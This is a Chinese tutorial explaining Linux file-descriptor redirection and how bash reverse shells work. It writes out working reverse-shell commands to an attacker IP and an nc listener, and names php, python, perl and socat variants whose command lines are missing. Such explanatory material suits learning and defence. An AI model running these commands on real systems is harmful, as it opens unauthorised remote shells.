linux下的shell反弹
linux下的shell反弹设计重定向,文件描述符等内容
01 linux的文件描述符
可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。
当Linux启动的时候会默认打开三个文件描述符,分别是:
标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)
下面引用先知社区对文件描述符的脑涂:
文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)
一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。
(1)输入重定向 < <<
(2)输出重定向 > >>
对>&这个符号的含义理解:
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件
当>&后面接文件描述符(0,1,2)时,表示将文件重定向至文件描述符(所代表的含义)
02 Linux bash反弹shell解析
反弹原因:网络环境(内网下短机器),防火墙受限(限制入站规则),权限维持(目标会更换域名,ip等)....
bash反弹
bash -i :即交互式bash,其中 -i参数表示产生交互式shell
>&/dev/tcp/192.168.5.3/6666 : 建立tcp连接,并将标准输出和错误重定向到TCP连接,这里的/dev/tcp/192.168.5.3/6666其实是不存在的,因为linux系统下一切皆文件
0>&1 :从TCP连接获取输入
具体实验理解
这里我们也做个试验
这里我们把bash的内容标准输出和标准错误输出都重定向到192.168.190.138/6666
攻击机nc监听:
nc -lvp 6666
目标机bash反弹
bash -i >&/dev/tcp/192.168.5.3/6666
因为这里目标机把bash的输出重定向到攻击机的6666端口,所以任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。
我们再来试验一下
攻击机还是nc监听 这次目标机器执行
bash -i < /dev/tcp/192.168.5.3/6666
这是把/dev/tcp/192.168.5.3/6666的标准输入重定向到目标机的bash
这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了
攻击机执行whoami
而回显 也就是目标机的输出还是在目标机的本机
ok这里就很清楚了输出输入的重定向了
bash反弹也就是结合上面两条命令:
这时候我们的输入还是会在目标机 这时候我们多加一条2>&1 标准错误输入重定向到&1标准输入,也就是我们攻击机的6666端口
嘿嘿,这样我们的输入命令就不会显示在靶机上了
03 常见反弹shell形式
bash反弹
这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别
exec绑定反弹
nc反弹
保证nc安装正确版本(存在-e选项就能直接反弹shell)
当然没有-e的情况下也可以实现反弹:
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
类似的命令:
如果觉得很复杂 nc就算没有-e也可以利用管道符直接反弹
连接
php反弹shell
使用php的exec函数执行方法反弹shell:
使用php建立socket会话:
反向连接:
python反弹
perl反弹:
socat:
参考地址:https://www.cnblogs.com/-qing-/p/11247720.html